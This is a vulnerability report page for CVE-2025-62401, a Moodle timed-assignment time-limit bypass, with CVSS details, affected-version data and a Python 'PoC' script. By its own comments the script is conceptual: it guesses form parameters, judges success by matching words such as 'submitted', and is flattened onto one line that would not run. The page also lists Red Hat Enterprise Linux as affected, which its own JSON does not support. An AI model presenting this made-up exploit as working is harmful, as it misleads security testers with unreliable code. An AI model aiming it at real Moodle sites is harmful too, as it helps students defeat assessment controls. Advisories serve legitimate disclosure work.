Security Vulnerability Report
中文
CVE-2025-62401 CVSS 5.4 MEDIUM

CVE-2025-62401

Published: 2025-10-23 12:15:33
Last Modified: 2025-11-14 19:03:28

Description

An issue in Moodle’s timed assignment feature allowed students to bypass the time restriction, potentially giving them more time than allowed to complete an assessment.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:* - VULNERABLE
Moodle LMS (all versions prior to patched release)
Red Hat Enterprise Linux 7.x (via Red Hat Bugzilla #2404434)
Specific affected versions should be verified against Moodle's official security advisories

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62401 PoC - Moodle Timed Assignment Time Restriction Bypass # This PoC demonstrates the time restriction bypass in Moodle's timed assignment feature import requests import time from datetime import datetime, timedelta # Configuration TARGET_URL = "https://vulnerable-moodle-site.com" USERNAME = "student_user" PASSWORD = "student_password" ASSIGNMENT_ID = "12345" # The timed assignment ID def login(session, url, username, password): """Authenticate to Moodle and obtain session cookie""" login_url = f"{url}/login/index.php" data = { "username": username, "password": password } response = session.post(login_url, data=data) return "MoodleSession" in session.cookies def bypass_time_restriction(session, url, assignment_id): """ Attempt to bypass the timed assignment time restriction. This method manipulates the submission time parameters. """ # Step 1: Access the assignment submission page submission_url = f"{url}/mod/assign/view.php?id={assignment_id}" response = session.get(submission_url) # Step 2: Extract the submission form and hidden parameters # In a real attack, analyze the form to find time-related parameters # Step 3: Modify the time parameters to bypass restriction # This is a conceptual PoC - actual implementation requires # analyzing the specific Moodle version's form parameters submit_url = f"{url}/mod/assign/view.php" # Attempt to manipulate submission time manipulated_data = { "id": assignment_id, "action": "submit", "timeallocation": (datetime.now() - timedelta(hours=1)).isoformat(), "_qf__mod_assign_submission_form": "1" } response = session.post(submit_url, data=manipulated_data) # Step 4: Verify if submission was accepted after deadline if response.status_code == 200: if "successfully" in response.text.lower() or "submitted" in response.text.lower(): print("[+] Time restriction bypassed successfully!") print("[+] Assignment submitted after the deadline") return True else: print("[-] Bypass attempt failed - time restriction enforced") return False else: print(f"[-] Request failed with status code: {response.status_code}") return False def main(): print("=" * 60) print("CVE-2025-62401 PoC - Moodle Timed Assignment Bypass") print("=" * 60) session = requests.Session() # Authenticate print("\n[*] Logging in to Moodle...") if not login(session, TARGET_URL, USERNAME, PASSWORD): print("[-] Authentication failed") return print("[+] Authentication successful") # Attempt bypass print("\n[*] Attempting to bypass time restriction...") result = bypass_time_restriction(session, TARGET_URL, ASSIGNMENT_ID) if result: print("\n[!] VULNERABLE: The target is affected by CVE-2025-62401") else: print("\n[+] NOT VULNERABLE or patch applied") if __name__ == "__main__": main() # Note: This is a conceptual PoC for educational and security testing purposes only. # Actual exploitation requires understanding the specific Moodle version and # its implementation of the timed assignment feature.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62401", "sourceIdentifier": "[email protected]", "published": "2025-10-23T12:15:32.970", "lastModified": "2025-11-14T19:03:27.983", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in Moodle’s timed assignment feature allowed students to bypass the time restriction, potentially giving them more time than allowed to complete an assessment."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1.0", "versionEndExcluding": "4.1.21", "matchCriteriaId": "03EFB43E-5E00-4244-BAF5-460594A32DF1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.11", "matchCriteriaId": "CED60CDC-8F12-481C-9ADD-8559860A2B3C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5.0", "versionEndExcluding": "4.5.7", "matchCriteriaId": "5414437D-2D9C-4565-853F-EAF761F52E5E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.3", "matchCriteriaId": "672DBB86-D5A8-41B6-B6F3-8E323E9C21F0"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-62401", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2404434", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}]}}